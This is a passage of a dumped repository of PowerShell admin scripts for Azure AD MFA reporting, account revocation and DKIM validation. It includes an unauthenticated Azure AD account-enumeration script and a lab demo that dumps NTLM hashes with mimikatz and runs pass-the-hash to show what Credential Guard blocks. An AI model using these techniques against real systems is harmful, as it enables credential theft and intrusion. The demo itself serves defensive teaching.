state of "Enabled" or "Enforced' 59 | .NOTES 60 | 06.02.2019 v1.0, Alex Verboon 61 | 17.03.2020 v1.1, Alex verboon, added user objectguid and improved processing speed. 62 | 17.03.2020 v1.1, Alex Verboon, added consitency to the 'default' attributes 63 | 17.03.2020 v1.2, Alex Verboon, adeed fixed a typo in the PhoneAppOTPIsDefault attribute 64 | 65 | #> 66 | [cmdletbinding(DefaultParameterSetName=’User’)] 67 | Param 68 | ( 69 | # The Users principalname 70 | [Parameter(Mandatory=$false, 71 | ParameterSetName = "User", 72 | ValueFromPipelineByPropertyName=$true, 73 | Position=0)] 74 | [string]$UserPrincipalName, 75 | 76 | # The Autentication Method 77 | [Parameter(Mandatory=$false, 78 | ParameterSetName = "AuthMethod", 79 | ValueFromPipelineByPropertyName=$true, 80 | Position=0)] 81 | [ValidateSet("PhoneAppNotification","PhoneAppOTP","TwoWayVoiceMobile","OneWaySMS","email")] 82 | [string]$AuthMethod, 83 | 84 | # Use this swtich to check if the selected authentication method is set as the users default 85 | [Parameter(Mandatory=$false, 86 | ParameterSetName = "AuthMethod", 87 | ValueFromPipelineByPropertyName=$true, 88 | Position=1)] 89 | [switch]$IsDefault, 90 | 91 | # Use this switch of check if MFA was enforced through Office 365 92 | [Parameter(Mandatory=$false, 93 | ParameterSetName = "State", 94 | ValueFromPipelineByPropertyName=$true, 95 | Position=0)] 96 | [ValidateSet("Enabled","Enforced","Disabled")] 97 | [string]$State 98 | ) 99 | 100 | 101 | Begin{ 102 | Try{ 103 | Get-MsolDomain -ErrorAction stop | Out-Null 104 | } 105 | Catch{ 106 | write-warning "You must call the Connect-MsolService cmdlet before running Get-AzMFAStatus" 107 | } 108 | } 109 | 110 | Process{ 111 | [int]$TotalItems = 0 112 | [int]$count = 0 113 | 114 | If ([string]::IsNullOrEmpty($UserPrincipalName)) 115 | { 116 | Try{ 117 | Write-Verbose "Retrieving all users" 118 | $allusers = Get-MsolUser -All -ErrorAction stop 119 | } 120 | Catch{ 121 | Write-Warning "Unable to retrieve users" 122 | } 123 | } 124 | Else 125 | { 126 | Try{ 127 | $allusers = Get-MsolUser -UserPrincipalName $UserPrincipalName -ErrorAction Stop 128 | } 129 | Catch{ 130 | Write-Warning "User: $UserPrincipalName not found" 131 | } 132 | } 133 | 134 | $TotalItems = $allusers.count 135 | $count=0 136 | Write-verbose "Total users in AzureAD: $TotalItems" 137 | 138 | $mfauserinfo = ForEach ($user in $allusers) 139 | { 140 | #Write-verbose "Processing $($User.UserPrincipalName) $count/$TotalItems" 141 | $StrongAuthenticationMethodsresult = $user.StrongAuthenticationMethods | Select-Object MethodType,IsDefault 142 | 143 | #$object = [ordered]@{ 144 | [PSCustomObject]@{ 145 | UserPrincipalName = $user.UserPrincipalName 146 | ObjectID = $user.objectid 147 | DisplayName = $user.DisplayName 148 | AuthEmail = $user.StrongAuthenticationUserDetails.Email 149 | AuthPhoneNumber = $user.StrongAuthenticationUserDetails.PhoneNumber 150 | PhoneDeviceName = $user.StrongAuthenticationPhoneAppDetails.DeviceName 151 | AuthAltPhone = $user.StrongAuthenticationUserDetails.AlternativePhoneNumber 152 | State = if($user.StrongAuthenticationRequirements.State -ne $null){ $user.StrongAuthenticationRequirements.State} else { "Disabled"} 153 | 154 | PhoneAppNotification = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppNotification"}) {$true} else {$false} 155 | PhoneAppNotificationIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppNotification"}).isDefault -eq "True") {$true} Else {$false} 156 | 157 | PhoneAppOTP = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppOTP"}) {$true} else {$false} 158 | PhoneAppOTPIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppOTPIsDefault"}).isDefault -eq "True") {$true} Else {$false} 159 | 160 | TwoWayVoiceMobile = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "TwoWayVoiceMobile"}) {$true} else {$false} 161 | TwoWayVoiceMobileIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "TwoWayVoiceMobileIsDefault"}).isDefault -eq "True") {$true} Else {$false} 162 | 163 | OneWaySMS = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "OneWaySMS"}) {$true} else {$false} 164 | OneWaySMSIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "OneWaySMSIsDefault"}).isDefault -eq "True") {$true} Else {$false} 165 | 166 | } 167 | #$count++ 168 | } 169 | } 170 | 171 | End{ 172 | 173 | If ([string]::IsNullOrEmpty($AuthMethod)) 174 | { 175 | If ([String]::IsNullOrEmpty($State)) 176 | { 177 | $mfauserinfo 178 | } 179 | Else 180 | { 181 | Write-Verbose "Retrieving all users with MFA Enforcement state: $State" 182 | $mfauserinfo | Where-Object {$_.State -eq "$State"} 183 | } 184 | } 185 | Else 186 | { 187 | If ($AuthMethod -eq "email") 188 | { 189 | Write-Verbose "Retrieving all users with registered e-mail" 190 | $mfauserinfo | Where-Object {$_.AuthEmail -cnotlike ""} 191 | } 192 | Else 193 | { 194 | If ($IsDefault.IsPresent -eq $true) 195 | { 196 | Write-Verbose "Retrieving all users with $AuthMethod set as default" 197 | $isdefaultname = "$AuthMethod" + "IsDefault" 198 | 199 | $mfauserinfo | Where-Object {$_."$AuthMethod" -eq "True"-and $_."$isdefaultname" -eq "True"} 200 | } 201 | Else 202 | { 203 | Write-Verbose "Retrieving all users with $AuthMethod enabled" 204 | $mfauserinfo | Where-Object {$_."$AuthMethod" -eq "True"} 205 | 206 | } 207 | } 208 | } 209 | 210 | } 211 | } -------------------------------------------------------------------------------- /AzureAD/MFA/OldStuff/add-mfagroup.ps1: -------------------------------------------------------------------------------- 1 |  2 | # load the function to add users form list to AD group 3 | cd C:\DATA\MFA 4 | . .\Add-mUserToGroup.ps1 5 | # Collect MFA Status information 6 | #$mfa = .\MfaAuthMethodsAnalysis.ps1 -TenantId "" 7 | # Get all users that have MFA enabled 8 | # $MFA_Active = @($MFA | Where-Object {$_.MfaAuthMethodCount -gt 0}) 9 | # STore usernames in text file 10 | # $MFA_Active | Select-Object -ExpandProperty UserPrincipalName | out-file -FilePath C:\Data\mfa\Userlist\mfa_active_11122020.txt 11 | # Add users to MFA Group 12 | Add-mUserToGroup -InputFile "C:\Data\MFA\Userlist\newusers_27012021.txt" -Group "AllMFAUsers" -Verbose 13 | # run this command to list all users of the group 14 | #$cagrpmembers = Get-ADGroupMember -Identity "AllMFAUsers" | Select-Object Name, SamAccountName 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /AzureAD/Revoke/revoke.ps1: -------------------------------------------------------------------------------- 1 | # on Premise AD 2 | Get-AzADUser 3 | 4 | $aduser = "bgroove" 5 | Disable-ADAccount -Identity $aduser 6 | $pwd1 = (New-Guid).Guid 7 | Set-ADAccountPassword -Identity $aduser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$pwd1" -Force) 8 | $pwd2 = (New-Guid).Guid 9 | Set-ADAccountPassword -Identity $aduser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$pwd2" -Force) 10 | 11 | 12 | # AzureAD 13 | 14 | 15 | $rUser = "bgroove@contoso.com" 16 | # Get user Details 17 | Get-AzureADUser -ObjectId $rUser 18 | Get-AzureADUser -ObjectId $rUser | Select UserPrincipalName,AccountEnabled 19 | 20 | #disable user 21 | Set-AzureADUser -ObjectId $rUser -AccountEnabled $false 22 | 23 | #Revoke 24 | Revoke-AzureADUserAllRefreshToken -ObjectId $ruser 25 | 26 | # User Device 27 | Get-AzureADUserRegisteredDevice -ObjectId $rUser 28 | #Get-AzureADUserRegisteredDevice -ObjectId johndoe@contoso.com | Set-AzureADDevice -AccountEnabled $false 29 | -------------------------------------------------------------------------------- /AzureAD/Test-AzureADUserExistence.ps1: -------------------------------------------------------------------------------- 1 | function Test-AzureADUserExistence { 2 | <# 3 | .SYNOPSIS 4 | Check if an account exists in Azure AD for specified email addresses. 5 | 6 | .DESCRIPTION 7 | The script will connect to public endpoints in Azure AD to find out if an account exists for specified email addresses or not. This script works without any authentication to Azure AD. The script can't see accounts for federated domains but it will tell you what organisation the federated domain belongs to. 8 | 9 | .PARAMETER Users 10 | An array of one or more user email addresses to test. 11 | 12 | .EXAMPLE 13 | Test-AzureADUserExistence -Users "user1@example.com", "user2@example.com", "user3@example.onmicrosoft.com" 14 | 15 | .NOTES 16 | Version: 1.0 17 | Author: Daniel Chronlund 18 | Creation Date: 2020-03-12 19 | 20 | Warning: This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. 21 | #> 22 | 23 | param ($Users) 24 | 25 | foreach ($User in $Users) { 26 | # Create custom object for output. 27 | $TestObject = New-Object -TypeName psobject 28 | 29 | # Add username. 30 | $TestObject | Add-Member -MemberType NoteProperty -Name "Username" -Value $User 31 | 32 | # Check if user account exists in Azure AD. 33 | if (((Invoke-WebRequest -Method "POST" -Uri "https://login.microsoftonline.com/common/GetCredentialType" -Body "{`"Username`":`"$User`"}").Content | ConvertFrom-Json).IfExistsResult -eq 0) { 34 | # Check domain federation status. 35 | [xml]$Response = (Invoke-WebRequest -Uri "https://login.microsoftonline.com/getuserrealm.srf?login=$User&xml=1").Content 36 | 37 | # Add org information. 38 | $TestObject | Add-Member -MemberType NoteProperty -Name "FederationBrandName" -Value $Response.RealmInfo.FederationBrandName 39 | 40 | # If domain is Federated we can't tell if the account exists or not :( 41 | if ($Response.RealmInfo.IsFederatedNS -eq $true) { 42 | $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Unknown (Federated domain handled by $((($Response.RealmInfo.AuthURL -split "//")[1] -split "/")[0]))" 43 | } 44 | # If the domain is Managed (not federated) we can tell if an account exists in Azure AD :) 45 | else { 46 | $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Yes" 47 | } 48 | } 49 | else { 50 | $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "No" 51 | } 52 | 53 | $TestObject 54 | } 55 | } 56 | 57 | 58 | # Example: 59 | Test-AzureADUserExistence -Users "user1@example.com", "user2@example.com", "sam@verboon.online" -------------------------------------------------------------------------------- /CredentialGuard/credentialguard.md: -------------------------------------------------------------------------------- 1 | # Credential Guard Demo with Mimikatz 2 | 3 | ## Demo without Credential Guard enabled 4 | 5 | If you have a VM with Credential Guard already enabled, run the following command on the Hyper-V host to disable Virtualization based Security. 6 | 7 | ```powershell 8 | Set-VMSecurity -VMName "W10Client1 - Hybrid Joined" -VirtualizationBasedSecurityOptOut $false 9 | ``` 10 | 11 | 1. Add C:\DEV\MK to the Defender Exclusion list 12 | 2. Download mimikatz into C:\DEV\MK 13 | 3. Open an elevated prompt. 14 | 4. Run mimikatz.exe 15 | 5. Run the following commands 16 | 17 | ```batch 18 | privilege::debug 19 | log nocredguard.log 20 | sekurlsa::logonpasswords 21 | ``` 22 | 23 | You get an output like this, in this example we see the NTLM hashes from user Tina and user OA. Note down the NTLM hash 24 | 25 | ```batch 26 | * Username : oa 27 | * Domain : corp 28 | * NTLM : 63bf41b93e6ee0deffbadba689a0241d 29 | * SHA1 : 00b18eac52e67f636fc4a1130f491919a2516ce3 30 | * DPAPI : 06383a0cd1b82e49154d37c70c70d85b 31 | 32 | 33 | * Username : tina 34 | * Domain : corp 35 | * NTLM : 3c849ce9c31ccf7a3c0cad3ec93edc75 36 | * SHA1 : dc4aa8063574c5069ed522d8098e0b9ab1fab3bf 37 | * DPAPI : 131a0e8007dbed59aa34bf15e0269e03 38 | 39 | ``` 40 | 41 | To run a Pass the hash simulation run the following command: 42 | 43 | ```batch 44 | sekurlsa::pth /user:oa /domain:corp.net /ntlm:63bf41b93e6ee0deffbadba689a0241d 45 | ``` 46 | 47 | Run whoami, you will still see the test user, not the elevated one, next open a remote powershell session on the domain controller and add a new group. This only works because you are using domain admin credentials via pass the hash 48 | 49 | 50 | ## Demo with Credential Guard enabled 51 | 52 | To turn VBS on again for the VM that has Credential Gaurd enabled run the following command on the Hyper-V host. 53 | 54 | ```powershell 55 | Set-VMSecurity -VMName "W10Client1 - Hybrid Joined" -VirtualizationBasedSecurityOptOut $true 56 | ``` 57 | 58 | Then logon to the VM , open an elevated prompt and run the following command: 59 | 60 | 1. Run mimikatz.exe 61 | 2. Run the following commands 62 | 63 | ```batch 64 | privilege::debug 65 | log nocredguard.log 66 | sekurlsa::logonpasswords 67 | ``` 68 | 69 | Result: you will no longer see MTLM hashes. 70 | -------------------------------------------------------------------------------- /DKIM/Validate-DkimConfig.ps1: -------------------------------------------------------------------------------- 1 | function Validate-DkimConfig 2 | { 3 | [cmdletbinding()] 4 | Param( 5 | [parameter(Mandatory=$false)] 6 | [string]$domain, 7 | [parameter(Mandatory=$false)] 8 | [switch]$showAll 9 | ) 10 | 11 | $notFound=$false; 12 | 13 | if ($domain) { 14 | $config = Get-DkimSigningConfig -Identity $domain -ErrorAction SilentlyContinue 15 | if ($config) { 16 | Validate-DkimConfigDomain $config -showAll:$showAll 17 | } else { 18 | $notFound=$true; 19 | } 20 | } 21 | else { 22 | $configs = Get-DkimSigningConfig 23 | if ($configs -and $configs.Count -gt 0) { 24 | foreach ($config in $configs) { Validate-DkimConfigDomain $config -showAll:$showAll} 25 | } else { 26 | Write-Host 27 | Write-Host "No DKIM Signing Configs Found" -ForegroundColor Yellow 28 | Write-Host 29 | } 30 | } 31 | 32 | if ($notFound -and $domain) { 33 | Write-Host 34 | Write-Host "Config for domain $($domain) Not Found" -ForegroundColor Yellow 35 | Write-Host 36 | 37 | if (!$domain.EndsWith("onmicrosoft.com") -and !$domain.EndsWith("microsoftonline.com")) { 38 | Validate-DkimCnameOnly $domain 39 | } 40 | } 41 | } 42 | 43 | # Performs the main validation of a configuration 44 | function Validate-DkimConfigDomain 45 | { 46 | [cmdletbinding()] 47 | Param( 48 | [parameter(Mandatory=$true)] 49 | $config, 50 | [parameter(Mandatory=$false)] 51 | [switch]$showAll 52 | ) 53 | 54 | # Display the configuration 55 | $domain = $config.Domain; 56 | $onmicrosoft = if ($domain.EndsWith("onmicrosoft.com") -or $domain.EndsWith("microsoftonline.com")) { $true } else { $false } 57 | $actions = @() 58 | 59 | Write-Host "Config for $domain Found..." -ForegroundColor Yellow 60 | if ($showAll) { 61 | $config | fl 62 | } 63 | else { 64 | $config | Select Identity, Enabled, Status, Selector1CNAME, Selector2CNAME, KeyCreationTime, LastChecked, RotateOnDate, SelectorBeforeRotateonDate, SelectorAfterRotateonDate | fl 65 | } 66 | 67 | if (!$config.Enabled) { 68 | Write-Host "Config $($config.Name) Not Enabled" -ForegroundColor Yellow 69 | Write-Host 70 | $actions += "Config $($config.Name) needs to be Enabled" 71 | } 72 | 73 | # Get the DNS ENtries 74 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow 75 | $cname1 = "selector1._domainkey.$($domain)" 76 | $cname2 = "selector2._domainkey.$($domain)" 77 | $txt1 = $config.Selector1CNAME; 78 | $txt2 = $config.Selector2CNAME; 79 | 80 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue 81 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue 82 | $txt1Dns = Resolve-DnsName -Name $txt1 -Type TXT -ErrorAction SilentlyContinue 83 | $txt2Dns = Resolve-DnsName -Name $txt2 -Type TXT -ErrorAction SilentlyContinue 84 | 85 | # Validate Entries 86 | Write-Host "Validating DNS Entries..." -ForegroundColor Yellow 87 | 88 | Write-Host 89 | Write-Host "Config CNAME1 : $($config.Selector1CNAME)" 90 | if (!$onmicrosoft) { 91 | if ($cname1Dns -and $cname1Dns.NameHost) { 92 | Write-Host "DNS CNAME1 : $($cname1Dns.NameHost)" 93 | Write-Host "TXT Hostname : $($cname1)" 94 | $match = if ($config.Selector1CNAME.Trim() -eq $cname1Dns.NameHost.Trim()) { $true } else { $false } 95 | if ($match) { 96 | write-host "Matched : $($match)" -ForegroundColor Green 97 | } else { 98 | write-host "Matched : $($match)" -ForegroundColor Red 99 | $actions += "Publish CNAME TXT Entry $($cname1) with value $($txt1)" 100 | } 101 | } 102 | else { 103 | write-host "DNS NotFound : $($cname1)" -ForegroundColor Red 104 | $actions += "Publish DNS CNAME Entry $($cname1) with value $($txt1)" 105 | } 106 | } 107 | 108 | Write-Host 109 | Write-Host "Config CNAME2 : $($config.Selector2CNAME)" 110 | if (!$onmicrosoft) { 111 | if ($cname2Dns -and $cname2Dns.NameHost) { 112 | Write-Host "DNS CNAME2 : $($cname2Dns.NameHost)" 113 | Write-Host "TXT Hostname : $($cname2)" 114 | $match = if ($config.Selector2CNAME.Trim() -eq $cname2Dns.NameHost.Trim()) { $true } else { $false } 115 | if ($match) { 116 | write-host "Matched : $($match)" -ForegroundColor Green 117 | } else { 118 | write-host "Matched : $($match)" -ForegroundColor Red 119 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)" 120 | } 121 | } 122 | else { 123 | write-host "DNS NotFound : $($cname2)" -ForegroundColor Red 124 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)" 125 | } 126 | } 127 | 128 | Write-Host 129 | Write-Host "Config TXT1 : $($config.Selector1PublicKey)" 130 | if ($txt1Dns -and $txt1Dns.Strings) { 131 | $key = $txt1Dns.Strings[0].Trim() 132 | Write-Host "DNS TXT1 : $($key)" 133 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector1PublicKey) { $true } else { $false } 134 | if ($match) { 135 | write-host "Key Match : $($match)" -ForegroundColor Green 136 | } else { 137 | write-host "Key Match : $($match)" -ForegroundColor Red 138 | $actions += "Public Key in TXT Entry $($txt1) needs to be republished..." 139 | } 140 | } 141 | else { 142 | write-host "DNS NotFound : $($txt1)" -ForegroundColor Red 143 | $actions += "Microsoft TXT Entry $($txt1) not found so Signing Config needs to be recreated..." 144 | } 145 | 146 | Write-Host 147 | Write-Host "Config TXT2 : $($config.Selector2PublicKey)" 148 | if ($txt2Dns -and $txt2Dns.Strings) { 149 | $key = $txt2Dns.Strings[0].Trim() 150 | Write-Host "DNS TXT2 : $($key)" 151 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector2PublicKey) { $true } else { $false } 152 | if ($match) { 153 | write-host "Key Match : $($match)" -ForegroundColor Green 154 | } else { 155 | write-host "Key Match : $($match)" -ForegroundColor Red 156 | $actions += "Public Key in TXT Entry $($txt2) needs to be republished..." 157 | } 158 | } 159 | else { 160 | write-host "DNS NotFound : $($txt2)" -ForegroundColor Red 161 | $actions += "Microsoft TXT Entry $($txt2) not found so Signing Config needs to be recreated..." 162 | } 163 | 164 | # Write out neccessary Actions 165 | Write-Host 166 | if ($actions.Count -gt 0) { 167 | Write-Host "Required Actions..." -ForegroundColor Yellow 168 | foreach ($action in $actions) { write-host $action} 169 | } 170 | } 171 | 172 | # Performs a validation of the Dkim CNAMES 173 | function Validate-DkimCnameOnly 174 | { 175 | [cmdletbinding()] 176 | Param( 177 | [parameter(Mandatory=$true)] 178 | $domain 179 | ) 180 | 181 | # Get the DNS ENtries 182 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow 183 | $cname1 = "selector1._domainkey.$($domain)" 184 | $cname2 = "selector2._domainkey.$($domain)" 185 | 186 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue 187 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue 188 | 189 | Write-Host 190 | 191 | if ($cname1Dns) { 192 | Write-Host "DNS CNAME1 : $($cname1)" -ForegroundColor Green 193 | Write-Host "Host Value : $($cname1Dns.NameHost)" 194 | } 195 | else { 196 | write-host "CNAME1 NotFound : $($cname1)" -ForegroundColor Red 197 | } 198 | 199 | if ($cname2Dns) { 200 | Write-Host "DNS CNAME2 : $($cname2)" -ForegroundColor Green 201 | Write-Host "Host Value : $($cname2Dns.NameHost)" 202 | } 203 | else { 204 | write-host "CNAME2 NotFound : $($cname2)" -ForegroundColor Red 205 | } 206 | 207 | Write-Host 208 | } 209 | 210 | # Compares public and published keys 211 | function Compare-PublicAndConfigKeys([string] $publicKey, [string] $configKey) 212 | { 213 | $match = $false; 214 | 215 | if (![string]::IsNullOrWhiteSpace($publicKey) -and ![string]::IsNullOrWhiteSpace($configKey)) { 216 | $regex = "p=(.*?);" 217 | $foundPublic = $publicKey -match $regex 218 | $publicValue = if ($foundPublic) { $matches[1] } else { $null } 219 | $foundConfig = $configKey -match $regex 220 | $configValue = if ($foundConfig) { $matches[1] } else { $null } 221 | 222 | if ($foundPublic -and $foundConfig) { 223 | if ($publicValue.Trim() -eq $configValue.Trim()) { 224 | $match = $true; 225 | } 226 | } 227 | } 228 | 229 | $match; 230 | } -------------------------------------------------------------------------------- /DKIM/Validate-DkimConfig2.ps1: -------------------------------------------------------------------------------- 1 | function Validate-DkimConfig2 2 | { 3 | [cmdletbinding()] 4 | Param( 5 | [parameter(Mandatory=$false)] 6 | [string]$domain, 7 | [parameter(Mandatory=$false)] 8 | [switch]$showAll 9 | ) 10 | 11 | $notFound=$false; 12 | 13 | if ($domain) { 14 | $config = Get-DkimSigningConfig -Identity $domain -ErrorAction SilentlyContinue 15 | if ($config) { 16 | Validate-DkimConfigDomain $config -showAll:$showAll 17 | } else { 18 | $notFound=$true; 19 | } 20 | } 21 | else { 22 | $configs = Get-DkimSigningConfig 23 | if ($configs -and $configs.Count -gt 0) { 24 | foreach ($config in $configs) { Validate-DkimConfigDomain $config -showAll:$showAll} 25 | } else { 26 | Write-Host 27 | Write-Host "No DKIM Signing Configs Found" -ForegroundColor Yellow 28 | Write-Host 29 | } 30 | } 31 | 32 | if ($notFound -and $domain) { 33 | Write-Host 34 | Write-Host "Config for domain $($domain) Not Found" -ForegroundColor Yellow 35 | Write-Host 36 | 37 | if (!$domain.EndsWith("onmicrosoft.com") -and !$domain.EndsWith("microsoftonline.com")) { 38 | Validate-DkimCnameOnly $domain 39 | } 40 | } 41 | } 42 | 43 | # Performs the main validation of a configuration 44 | function Validate-DkimConfigDomain 45 | { 46 | [cmdletbinding()] 47 | Param( 48 | [parameter(Mandatory=$true)] 49 | $config, 50 | [parameter(Mandatory=$false)] 51 | [switch]$showAll 52 | ) 53 | 54 | # Display the configuration 55 | $domain = $config.Domain; 56 | $onmicrosoft = if ($domain.EndsWith("onmicrosoft.com") -or $domain.EndsWith("microsoftonline.com")) { $true } else { $false } 57 | $actions = @() 58 | 59 | Write-Host "Config for $domain Found..." -ForegroundColor Yellow 60 | if ($showAll) { 61 | $config | fl 62 | } 63 | else { 64 | $config | Select Identity, Enabled, Status, Selector1CNAME, Selector2CNAME, KeyCreationTime, LastChecked, RotateOnDate, SelectorBeforeRotateonDate, SelectorAfterRotateonDate | fl 65 | } 66 | 67 | if (!$config.Enabled) { 68 | Write-Host "Config $($config.Name) Not Enabled" -ForegroundColor Yellow 69 | Write-Host 70 | $actions += "Config $($config.Name) needs to be Enabled" 71 | } 72 | 73 | # Get the DNS ENtries 74 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow 75 | $cname1 = "selector1._domainkey.$($domain)" 76 | $cname2 = "selector2._domainkey.$($domain)" 77 | $txt1 = $config.Selector1CNAME; 78 | $txt2 = $config.Selector2CNAME; 79 | 80 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue 81 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue 82 | $txt1Dns = Resolve-DnsName -Name $txt1 -Type TXT -ErrorAction SilentlyContinue 83 | $txt2Dns = Resolve-DnsName -Name $txt2 -Type TXT -ErrorAction SilentlyContinue 84 | 85 | # Validate Entries 86 | Write-Host "Validating DNS Entries..." -ForegroundColor Yellow 87 | 88 | Write-Host 89 | Write-Host "Config CNAME1 : $($config.Selector1CNAME)" 90 | if (!$onmicrosoft) { 91 | if ($cname1Dns -and $cname1Dns.NameHost) { 92 | Write-Host "DNS CNAME1 : $($cname1Dns.NameHost)" 93 | Write-Host "TXT Hostname : $($cname1)" 94 | $match = if ($config.Selector1CNAME.Trim() -eq $cname1Dns.NameHost.Trim()) { $true } else { $false } 95 | $match = if ($config.Selector1CNAME.Trim() -eq $cname1Dns.NameHost.Trim()) { $true } else { $false } 96 | 97 | if ($match) { 98 | write-host "Matched : $($match)" -ForegroundColor Green 99 | } else { 100 | write-host "Matched : $($match)" -ForegroundColor Red 101 | $actions += "Publish CNAME TXT Entry $($cname1) with value $($txt1)" 102 | } 103 | } 104 | else { 105 | write-host "DNS NotFound : $($cname1)" -ForegroundColor Red 106 | $actions += "Publish DNS CNAME Entry $($cname1) with value $($txt1)" 107 | } 108 | } 109 | 110 | Write-Host 111 | Write-Host "Config CNAME2 : $($config.Selector2CNAME)" 112 | if (!$onmicrosoft) { 113 | if ($cname2Dns -and $cname2Dns.NameHost) { 114 | Write-Host "DNS CNAME2 : $($cname2Dns.NameHost)" 115 | Write-Host "TXT Hostname : $($cname2)" 116 | $match = if ($config.Selector2CNAME.Trim() -eq $cname2Dns.NameHost.Trim()) { $true } else { $false } 117 | if ($match) { 118 | write-host "Matched : $($match)" -ForegroundColor Green 119 | } else { 120 | write-host "Matched : $($match)" -ForegroundColor Red 121 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)" 122 | } 123 | } 124 | else { 125 | write-host "DNS NotFound : $($cname2)" -ForegroundColor Red 126 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)" 127 | } 128 | } 129 | 130 | Write-Host 131 | Write-Host "Config TXT1 : $($config.Selector1PublicKey)" 132 | if ($txt1Dns -and $txt1Dns.Strings) { 133 | # $key = $txt1Dns.Strings[0].Trim() 134 | $key = [system.String]::Join("", $txt1Dns.Strings.Trim()).Trim() 135 | 136 | Write-Host "DNS TXT1 : $($key)" 137 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector1PublicKey) { $true } else { $false } 138 | if ($match) { 139 | write-host "Key Match : $($match)" -ForegroundColor Green 140 | } else { 141 | write-host "Key Match : $($match)" -ForegroundColor Red 142 | $actions += "Public Key in TXT Entry $($txt1) needs to be republished..." 143 | } 144 | } 145 | else { 146 | write-host "DNS NotFound : $($txt1)" -ForegroundColor Red 147 | $actions += "Microsoft TXT Entry $($txt1) not found so Signing Config needs to be recreated..." 148 | } 149 | 150 | Write-Host 151 | Write-Host "Config TXT2 : $($config.Selector2PublicKey)" 152 | if ($txt2Dns -and $txt2Dns.Strings) { 153 | #$key = $txt2Dns.Strings[0].Trim() 154 | $key = [system.String]::Join("", $txt2Dns.Strings.Trim()).Trim() 155 | Write-Host "DNS TXT2 : $($key)" 156 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector2PublicKey) { $true } else { $false } 157 | if ($match) { 158 | write-host "Key Match : $($match)" -ForegroundColor Green 159 | } else { 160 | write-host "Key Match : $($match)" -ForegroundColor Red 161 | $actions += "Public Key in TXT Entry $($txt2) needs to be republished..." 162 | } 163 | } 164 | else { 165 | write-host "DNS NotFound : $($txt2)" -ForegroundColor Red 166 | $actions += "Microsoft TXT Entry $($txt2) not found so Signing Config needs to be recreated..." 167 | } 168 | 169 | # Write out neccessary Actions 170 | Write-Host 171 | if ($actions.Count -gt 0) { 172 | Write-Host "Required Actions..." -ForegroundColor Yellow 173 | foreach ($action in $actions) { write-host $action} 174 | } 175 | } 176 | 177 | # Performs a validation of the Dkim CNAMES 178 | function Validate-DkimCnameOnly 179 | { 180 | [cmdletbinding()] 181 | Param( 182 | [parameter(Mandatory=$true)] 183 | $domain 184 | ) 185 | 186 | # Get the DNS ENtries 187 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow 188 | $cname1 = "selector1._domainkey.$($domain)" 189 | $cname2 = "selector2._domainkey.$($domain)" 190 | 191 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue 192 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue 193 | 194 | Write-Host 195 | 196 | if ($cname1Dns) { 197 | Write-Host "DNS CNAME1 : $($cname1)" -ForegroundColor Green 198 | Write-Host "Host Value : $($cname1Dns.NameHost)" 199 | } 200 | else { 201 | write-host "CNAME1 NotFound : $($cname1)" -ForegroundColor Red 202 | } 203 | 204 | if ($cname2Dns) { 205 | Write-Host "DNS CNAME2 : $($cname2)" -ForegroundColor Green 206 | Write-Host "Host Value : $($cname2Dns.NameHost)" 207 | } 208 | else { 209 | write-host "CNAME2 NotFound : $($cname2)" -ForegroundColor Red 210 | } 211 | 212 | Write-Host 213 | } 214 | 215 | # Compares public and published keys 216 | function Compare-PublicAndConfigKeys([string] $publicKey, [string] $configKey) 217 | { 218 | $match = $false; 219 | 220 | if (![string]::IsNullOrWhiteSpace($publicKey) -and ![string]::IsNullOrWhiteSpace($configKey)) { 221 | $regex = "p=(.*?);" 222 | $foundPublic = $publicKey -match $regex 223 | $publicValue = if ($foundPublic) { $matches[1] } else { $null } 224 | $foundConfig = $configKey -match $regex 225 | $configValue = if ($foundConfig) { $matches[1] } else { $null } 226 | 227 | if ($foundPublic -and $foundConfig) { 228 | if ($publicValue.Trim() -eq $configValue.Trim()) { 229 | $match = $true; 230 | } 231 | } 232 | } 233 | 234 | $match; 235 | } -------------------------------------------------------------------------------- /DefenderforEndpoint/Cleanup/defenderfiles.ps1: -------------------------------------------------------------------------------- 1 |  2 | # Defender ATP Service 3 | $service = Get-WmiObject win32_service | Select-Object * | where name -Like "*Sense*" 4 | write-host "Name: $($service.Caption)" 5 